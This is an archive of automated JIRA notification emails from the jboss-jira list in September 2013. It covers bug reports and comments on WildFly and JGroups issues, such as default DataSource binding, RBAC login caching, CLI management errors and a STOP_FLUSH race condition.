> drwxr-xr-x. 3 jboss jboss 4096 Jan  2 14:45 tmp
> {noformat} 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 11:02:45 2013
From: jira-events at lists.jboss.org (Eduardo Martins (JIRA))
Date: Mon, 23 Sep 2013 11:02:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2133) Add PrivilegedInterceptor
 always if security manager is set
In-Reply-To: <JIRA.12501311.1379948352000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501311.1379948352000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501311.1379948352000.38.1379948565391@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2133?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Eduardo Martins resolved WFLY-2133.
-----------------------------------

    Resolution: Duplicate Issue

    
> Add PrivilegedInterceptor always if security manager is set
> -----------------------------------------------------------
>
>                 Key: WFLY-2133
>                 URL: https://issues.jboss.org/browse/WFLY-2133
>             Project: WildFly
>          Issue Type: Bug
>          Components: EE
>            Reporter: Eduardo Martins
>            Assignee: Eduardo Martins
>
> Currently the PrivilegedInterceptor is only added to the chain if WildflySecurityManager.isChecking() is true, instead it should always be added, otherwise the privileged action may not be run, and that means permissions will fail to check

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 11:04:45 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Mon, 23 Sep 2013 11:04:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2049) Logging in as user with
 scoped role right after log out will mess up Authentication
In-Reply-To: <JIRA.12500493.1378899069000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500493.1378899069000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500493.1378899069000.49.1379948685391@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2049?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806618#comment-12806618 ] 

Darran Lofthouse commented on WFLY-2049:
----------------------------------------

I have sent a pull request for the one browser scenario with WildFly, regardless I believe that needs to be merged but I would like to ask for some additional testing to be performed with the fix to verify if this issue can be reproduced with two different browsers.

                
> Logging  in as user with scoped role right after log out will mess up Authentication 
> -------------------------------------------------------------------------------------
>
>                 Key: WFLY-2049
>                 URL: https://issues.jboss.org/browse/WFLY-2049
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: Jakub Cechacek
>            Assignee: Darran Lofthouse
>            Priority: Blocker
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.Beta1
>
>
> It seems as some cache is not invalidated after logging in as user with scoped role. Logging as such user will cause page refresh to randomly switch between last 2 logged in users.
> when I log in as  user with non-scoped role and then switch (log out -> log in) as user with scoped role, refreshing the page will randomly switch between those users.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 11:08:45 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Mon, 23 Sep 2013 11:08:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2027) EE Default DataSource is not
	working
In-Reply-To: <JIRA.12500313.1378739268000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500313.1378739268000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500313.1378739268000.64.1379948925898@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2027?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806620#comment-12806620 ] 

David Lloyd commented on WFLY-2027:
-----------------------------------

All that needs to be done is to add a naming entry referencing our default H2 data source from {{java:comp}}.  This _should_ be possible from the naming subsystem config.  It should be possible to satisfy this requirement with no code changes.
                
> EE Default DataSource is not working
> ------------------------------------
>
>                 Key: WFLY-2027
>                 URL: https://issues.jboss.org/browse/WFLY-2027
>             Project: WildFly
>          Issue Type: Bug
>          Components: ConfigAdmin, Domain Management, EE, JCA, JPA / Hibernate, Web Console
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Lincoln Baxter III
>
> The EE spec states that a default datasource must be supplied under: java:comp/DefaultDataSource, and if none is specified by the @Resource or persistence.xml, it must be assumed:
>  {code}EE 5.19
> The Java EE Platform requires that a Java EE Product Provider provide a database 
> in the operational environment (see Section EE.2.6, ?Database?). The Java EE 
> Product Provider must also provide a preconfigured, default data source for use by 
> the application in accessing this database.
> The Java EE Product Provider must make the default data source accessible to 
> the application under the JNDI name java:comp/DefaultDataSource.
> The Application Component Provider or Deployer may explicitly bind a 
> DataSource resource reference to the default data source using the lookup element 
> of the Resource annotation or the lookup-name element of the resource-ref
> deployment descriptor element. For example,
> @Resource(lookup="java:comp/DefaultDataSource")
> DataSource myDS;
> In the absence of such a binding, the mapping of the reference will default to 
> the product's default data source.
> For example, the following will map to a preconfigured data source for the 
> product's default database:
> @Resource
> DataSource myDS;{code}
> This, isn't working however:
> {code}
> <persistence version="2.1" xmlns="http://xmlns.jcp.org/xml/ns/persistence" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
>    xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/persistence http://www.oracle.com/webfolder/technetwork/jsc/xml/ns/persistence/persistence_2_1.xsd">
>    <persistence-unit name="default" transaction-type="JTA">
>    </persistence-unit>
> </persistence>{code}
> Results in: 
> {code}
> 10:41:31,002 ERROR [org.jboss.msc.service.fail] (ServerService Thread Pool -- 50) MSC000001: Failed to start service jboss.persistenceunit."jpa-standard.war#default": org.jboss.msc.service.StartException in service jboss.persistenceunit."jpa-standard.war#default": org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
> 	at org.jboss.as.jpa.service.PersistenceUnitServiceImpl$1.run(PersistenceUnitServiceImpl.java:134) [wildfly-jpa-8.0.0.Alpha4.jar:8.0.0.Alpha4]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_21]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_21]
> 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_21]
> 	at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final.jar:2.1.0.Final]
> Caused by: org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
> 	at org.hibernate.engine.jdbc.dialect.internal.DialectFactoryImpl.determineDialect(DialectFactoryImpl.java:98)
> 	at org.hibernate.engine.jdbc.dialect.internal.DialectFactoryImpl.buildDialect(DialectFactoryImpl.java:66)
> 	at org.hibernate.engine.jdbc.internal.JdbcServicesImpl.configure(JdbcServicesImpl.java:193)
> 	at org.hibernate.boot.registry.internal.StandardServiceRegistryImpl.configureService(StandardServiceRegistryImpl.java:88)
> 	at org.hibernate.service.internal.AbstractServiceRegistryImpl.initializeService(AbstractServiceRegistryImpl.java:159)
> 	at org.hibernate.service.internal.AbstractServiceRegistryImpl.getService(AbstractServiceRegistryImpl.java:131)
> 	at org.hibernate.cfg.Configuration.buildTypeRegistrations(Configuration.java:1844)
> 	at org.hibernate.cfg.Configuration.buildSessionFactory(Configuration.java:1802)
> 	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl$4.perform(EntityManagerFactoryBuilderImpl.java:844)
> 	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl$4.perform(EntityManagerFactoryBuilderImpl.java:836)
> 	at org.hibernate.boot.registry.classloading.internal.ClassLoaderServiceImpl.withTccl(ClassLoaderServiceImpl.java:368)
> 	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl.build(EntityManagerFactoryBuilderImpl.java:835)
> 	at org.jboss.as.jpa.hibernate4.management.TwoPhaseBootstrapImpl.build(TwoPhaseBootstrapImpl.java:44)
> 	at org.jboss.as.jpa.service.PersistenceUnitServiceImpl$1.run(PersistenceUnitServiceImpl.java:115) [wildfly-jpa-8.0.0.Alpha4.jar:8.0.0.Alpha4]
> 	... 4 more
> 10:41:31,010 ERROR [org.jboss.as.controller.management-operation] (DeploymentScanner-threads - 1) JBAS014613: Operation ("full-replace-deployment") failed - address: ([]) - failure description: {"JBAS014671: Failed services" => {"jboss.persistenceunit.\"jpa-standard.war#default\"" => "org.jboss.msc.service.StartException in service jboss.persistenceunit.\"jpa-standard.war#default\": org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
>     Caused by: org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set"}}
> {code}
> Additionally, actually specifying the expected JDNI name of the default DS like this:
> {code}   <persistence-unit name="default" transaction-type="JTA">
>       <jta-data-source>java:comp/DefaultDataSource</jta-data-source>
>       <exclude-unlisted-classes>false</exclude-unlisted-classes>
>    </persistence-unit>{code}
> Results in this:
> {code}
> JBAS014775:    New missing/unsatisfied dependencies:
>       service jboss.naming.context.java.module.jpa-standard.jpa-standard.DefaultDataSource (missing) dependents: [service jboss.persistenceunit."jpa-standard.war#default".__FIRST_PHASE__] 
>       service jboss.persistenceunit."jpa-standard.war#default".__FIRST_PHASE__ (missing) dependents: [service jboss.deployment.unit."jpa-standard.war".POST_MODULE] 
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Mon Sep 23 11:12:45 2013
From: jira-events at lists.jboss.org (Filip Bogyai (JIRA))
Date: Mon, 23 Sep 2013 11:12:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2134) Changing management
 http-interface with CLI doesn't work.
In-Reply-To: <JIRA.12501315.1379949144732@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501315.1379949144732@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501315.1379949144732.71.1379949165785@jira02.app.mwc.hst.phx2.redhat.com>

Filip Bogyai created WFLY-2134:
----------------------------------

             Summary: Changing management http-interface with CLI doesn't work.
                 Key: WFLY-2134
                 URL: https://issues.jboss.org/browse/WFLY-2134
             Project: WildFly
          Issue Type: Bug
          Components: CLI
    Affects Versions: 8.0.0.Alpha4
            Reporter: Filip Bogyai
            Assignee: Alexey Loubyansky


When you try to change http-interface with CLI you get: Communication error: java.util.concurrent.ExecutionException: Operation failed: Operation failed: Channel closed

On server side: JBAS014626: Operation was interrupted before stability could be reached

For example try to add secure-socket-binding attribute:
/core-service=management/management-interface=http-interface:write-attribute(name=secure-socket-binding, value=management-https)

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 11:16:46 2013
From: jira-events at lists.jboss.org (Remy Maucherat (JIRA))
Date: Mon, 23 Sep 2013 11:16:46 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-519) JSR-341 EL 3.0 support
In-Reply-To: <JIRA.12485400.1361487486000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12485400.1361487486000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12485400.1361487486000.81.1379949406084@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-519?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806624#comment-12806624 ] 

Remy Maucherat commented on WFLY-519:
-------------------------------------

Agreed, it's bad. Hopefully it's possible to switch to the Tomcat impl.
                
> JSR-341 EL 3.0 support
> ----------------------
>
>                 Key: WFLY-519
>                 URL: https://issues.jboss.org/browse/WFLY-519
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Web (Undertow)
>            Reporter: David Lloyd
>            Assignee: Remy Maucherat
>             Fix For: 8.0.0.Beta1
>
>
> Per Java EE 7 spec, update to EL 3.0 API and implementation.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 11:58:45 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Mon, 23 Sep 2013 11:58:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1314) Add a management operation to
 let remote EJB clients know that a particular server is no longer capable
 of handling a EJB request
In-Reply-To: <JIRA.12491045.1367598318000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12491045.1367598318000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12491045.1367598318000.109.1379951925312@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1314?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806627#comment-12806627 ] 

David Lloyd commented on WFLY-1314:
-----------------------------------

This could be part of a more general "application ready" service that would tie into graceful shutdown.
                
> Add a management operation to let remote EJB clients know that a particular server is no longer capable of handling a EJB request
> ---------------------------------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1314
>                 URL: https://issues.jboss.org/browse/WFLY-1314
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: EJB
>            Reporter: jaikiran pai
>            Assignee: jaikiran pai
>
> While looking into another issue WFLY-1313 we realized that it might be a good idea to allow admins to have some kind of management operation where they could say that a particular server will no longer accept EJB invocations (for all deployments or maybe just a specific deployment). This would then allow the admins to issue such a operation and the remote EJB clients (via the EJB client library) would then realize that, they should no longer send out requests to that server node. This way the admins can then even undeploy the deployment or shutdown the server without having to worry about EJB invocations coming in and failing in-flight due to deployment being currently undeployed.
> From a EJB client library point of view, this essentially is a explicit "module unavailable" notification that the server will trigger to its connected clients.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 12:04:45 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 23 Sep 2013 12:04:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2135) Change default ADDRESS
 settings to Page instead of Block
In-Reply-To: <JIRA.12501318.1379952235000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501318.1379952235000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501318.1379952235000.116.1379952285340@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2135?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-2135:
------------------------------------------

    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1011074

    
> Change default ADDRESS settings to Page instead of Block
> --------------------------------------------------------
>
>                 Key: WFLY-2135
>                 URL: https://issues.jboss.org/browse/WFLY-2135
>             Project: WildFly
>          Issue Type: Feature Request
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Clebert Suconic
>            Assignee: Clebert Suconic
>             Fix For: 8.0.0.Beta1
>
>
> We have had so many cases of questions about why the producing is blocked when not consuming.
> Users are expecting Page by default, so we should change the default.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 12:04:45 2013
From: jira-events at lists.jboss.org (Clebert Suconic (JIRA))
Date: Mon, 23 Sep 2013 12:04:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2135) Change default ADDRESS
 settings to Page instead of Block
In-Reply-To: <JIRA.12501318.1379952235082@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501318.1379952235082@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501318.1379952235082.114.1379952285212@jira02.app.mwc.hst.phx2.redhat.com>

Clebert Suconic created WFLY-2135:
-------------------------------------

             Summary: Change default ADDRESS settings to Page instead of Block
                 Key: WFLY-2135
                 URL: https://issues.jboss.org/browse/WFLY-2135
             Project: WildFly
          Issue Type: Feature Request
    Affects Versions: 8.0.0.Alpha4
            Reporter: Clebert Suconic
            Assignee: Clebert Suconic
             Fix For: 8.0.0.Beta1


We have had so many cases of questions about why the producing is blocked when not consuming.

Users are expecting Page by default, so we should change the default.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 12:18:45 2013
From: jira-events at lists.jboss.org (Farah Juma (JIRA))
Date: Mon, 23 Sep 2013 12:18:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1705) JPA persistence units make
 use of SerializableValidatorFactory instead of using the JNDI bound default
 ValidatorFactory
In-Reply-To: <JIRA.12496562.1373987171000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496562.1373987171000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496562.1373987171000.141.1379953125920@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1705?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806632#comment-12806632 ] 

Farah Juma commented on WFLY-1705:
----------------------------------

Jaikiran explained that in these tests, the EJB remote client issues a transaction commit message to the server. The server then handles the commit on the transaction. The commit happens outside of the deployment's context. This is why the TCCL isn't set to the deployment's classloader. 

Setting the TCCL to the deployment's classloader in LazyValidatorFactory.usingContext() solves the problem.

I've now created the following pull request:
https://github.com/wildfly/wildfly/pull/5123
                
> JPA persistence units make use of SerializableValidatorFactory instead of using the JNDI bound default ValidatorFactory
> -----------------------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1705
>                 URL: https://issues.jboss.org/browse/WFLY-1705
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: EE, JPA / Hibernate
>    Affects Versions: 8.0.0.Alpha2
>            Reporter: Hardy Ferentschik
>            Assignee: Farah Juma
>
> I think there is no need for {{SerializableValidatorFactory}}. _LazyValidatorFactory_ should be used at all times to also ensure that CDI injection works.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 12:42:45 2013
From: jira-events at lists.jboss.org (Scott Marlow (JIRA))
Date: Mon, 23 Sep 2013 12:42:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2136) persistence.xml with
 org.hibernate.ejb.HibernatePersistence should deploy with Hibernate ORM
 4.3.x
In-Reply-To: <JIRA.12501326.1379954479981@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501326.1379954479981@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501326.1379954479981.198.1379954565642@jira02.app.mwc.hst.phx2.redhat.com>

Scott Marlow created WFLY-2136:
----------------------------------

             Summary: persistence.xml with org.hibernate.ejb.HibernatePersistence should deploy with Hibernate ORM 4.3.x
                 Key: WFLY-2136
                 URL: https://issues.jboss.org/browse/WFLY-2136
             Project: WildFly
          Issue Type: Bug
          Components: JPA / Hibernate
    Affects Versions: 8.0.0.Alpha1
            Reporter: Scott Marlow
            Assignee: Scott Marlow
             Fix For: 8.0.0.CR1


currently users migrating from earlier app server versions will get http://pastebin.com/4tRk75vh

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 12:52:45 2013
From: jira-events at lists.jboss.org (Dennis Reed (JIRA))
Date: Mon, 23 Sep 2013 12:52:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1674) STOP_FLUSH race condition in
	2.x
In-Reply-To: <JIRA.12498349.1376076421000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498349.1376076421000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498349.1376076421000.206.1379955165282@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1674?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806636#comment-12806636 ] 

Dennis Reed commented on JGRP-1674:
-----------------------------------

Fixed for 2.6.23.
                
> STOP_FLUSH race condition in 2.x
> --------------------------------
>
>                 Key: JGRP-1674
>                 URL: https://issues.jboss.org/browse/JGRP-1674
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 2.6.21
>            Reporter: Dennis Reed
>            Assignee: Dennis Reed
>         Attachments: JGRP-1674-test.zip
>
>
> There is a race condition in STOP_FLUSH when a node joins the cluster.
> JOINER sends JOIN_REQ to MASTER
> MASTER does a flush on the existing members (does NOT include JOINER)
> MASTER sends JOIN_RSP
> MASTER sends STOP_FLUSH
> JOINER receives JOIN_RSP
> JOINER fetches state, sends START_FLUSH
> JOINER receives STOP_FLUSH from MASTER (does not apply, since JOINER was not part of the original FLUSH)
> onStopFlush never verifies that the current node was part of the FLUSH, and therefore is valid for the current node.
> This STOP_FLUSH corrupts JOINER's FLUSH by resetting all the member variables (and probably unblocking as well).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 12:52:45 2013
From: jira-events at lists.jboss.org (Dennis Reed (JIRA))
Date: Mon, 23 Sep 2013 12:52:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1674) STOP_FLUSH race condition in
	2.x
In-Reply-To: <JIRA.12498349.1376076421000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498349.1376076421000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498349.1376076421000.209.1379955165411@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1674?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Dennis Reed resolved JGRP-1674.
-------------------------------

    Resolution: Done

    
> STOP_FLUSH race condition in 2.x
> --------------------------------
>
>                 Key: JGRP-1674
>                 URL: https://issues.jboss.org/browse/JGRP-1674
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 2.6.21
>            Reporter: Dennis Reed
>            Assignee: Dennis Reed
>         Attachments: JGRP-1674-test.zip
>
>
> There is a race condition in STOP_FLUSH when a node joins the cluster.
> JOINER sends JOIN_REQ to MASTER
> MASTER does a flush on the existing members (does NOT include JOINER)
> MASTER sends JOIN_RSP
> MASTER sends STOP_FLUSH
> JOINER receives JOIN_RSP
> JOINER fetches state, sends START_FLUSH
> JOINER receives STOP_FLUSH from MASTER (does not apply, since JOINER was not part of the original FLUSH)
> onStopFlush never verifies that the current node was part of the FLUSH, and therefore is valid for the current node.
> This STOP_FLUSH corrupts JOINER's FLUSH by resetting all the member variables (and probably unblocking as well).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 13:10:45 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Mon, 23 Sep 2013 13:10:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1674) STOP_FLUSH race condition in
	2.x
In-Reply-To: <JIRA.12498349.1376076421000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498349.1376076421000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498349.1376076421000.226.1379956245171@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1674?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806641#comment-12806641 ] 

Bela Ban commented on JGRP-1674:
--------------------------------

Dennis,

* How did you fix it ? 
* Where did the fix go (didn't see a pull request) ?
* Does this issue not occur in master ?

                
> STOP_FLUSH race condition in 2.x
> --------------------------------
>
>                 Key: JGRP-1674
>                 URL: https://issues.jboss.org/browse/JGRP-1674
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 2.6.21
>            Reporter: Dennis Reed
>            Assignee: Dennis Reed
>         Attachments: JGRP-1674-test.zip
>
>
> There is a race condition in STOP_FLUSH when a node joins the cluster.
> JOINER sends JOIN_REQ to MASTER
> MASTER does a flush on the existing members (does NOT include JOINER)
> MASTER sends JOIN_RSP
> MASTER sends STOP_FLUSH
> JOINER receives JOIN_RSP
> JOINER fetches state, sends START_FLUSH
> JOINER receives STOP_FLUSH from MASTER (does not apply, since JOINER was not part of the original FLUSH)
> onStopFlush never verifies that the current node was part of the FLUSH, and therefore is valid for the current node.
> This STOP_FLUSH corrupts JOINER's FLUSH by resetting all the member variables (and probably unblocking as well).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 13:22:46 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 23 Sep 2013 13:22:46 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2049) Logging in as user with
 scoped role right after log out will mess up Authentication
In-Reply-To: <JIRA.12500493.1378899069000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500493.1378899069000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500493.1378899069000.295.1379956966263@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2049?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806647#comment-12806647 ] 

RH Bugzilla Integration commented on WFLY-2049:
-----------------------------------------------

Darran Lofthouse <darran.lofthouse at redhat.com> changed the Status of [bug 1010662|https://bugzilla.redhat.com/show_bug.cgi?id=1010662] from NEW to ASSIGNED
                
> Logging  in as user with scoped role right after log out will mess up Authentication 
> -------------------------------------------------------------------------------------
>
>                 Key: WFLY-2049
>                 URL: https://issues.jboss.org/browse/WFLY-2049
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: Jakub Cechacek
>            Assignee: Darran Lofthouse
>            Priority: Blocker
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.Beta1
>
>
> It seems as some cache is not invalidated after logging in as user with scoped role. Logging as such user will cause page refresh to randomly switch between last 2 logged in users.
> when I log in as  user with non-scoped role and then switch (log out -> log in) as user with scoped role, refreshing the page will randomly switch between those users.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 13:22:46 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 23 Sep 2013 13:22:46 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2049) Logging in as user with
 scoped role right after log out will mess up Authentication
In-Reply-To: <JIRA.12500493.1378899069000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500493.1378899069000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500493.1378899069000.301.1379956966558@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2049?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806648#comment-12806648 ] 

RH Bugzilla Integration commented on WFLY-2049:
-----------------------------------------------

Darran Lofthouse <darran.lofthouse at redhat.com> made a comment on [bug 1010662|https://bugzilla.redhat.com/show_bug.cgi?id=1010662]

Dev acking as a reproducible issue against a single browser.
                
> Logging  in as user with scoped role right after log out will mess up Authentication 
> -------------------------------------------------------------------------------------
>
>                 Key: WFLY-2049
>                 URL: https://issues.jboss.org/browse/WFLY-2049
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: Jakub Cechacek
>            Assignee: Darran Lofthouse
>            Priority: Blocker
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.Beta1
>
>
> It seems as some cache is not invalidated after logging in as user with scoped role. Logging as such user will cause page refresh to randomly switch between last 2 logged in users.
> when I log in as  user with non-scoped role and then switch (log out -> log in) as user with scoped role, refreshing the page will randomly switch between those users.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 23 13:58:45 2013
From: jira-events at lists.jboss.org (Clebert Suconic (JIRA))
Date: Mon, 23 Sep 2013 13:58:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2135) Change default ADDRESS
 settings to Page instead of Block
In-Reply-To: <JIRA.12501318.1379952235000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501318.1379952235000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501318.1379952235000.362.1379959125264@jira02.app.mwc.hst.phx2.redhat.com>


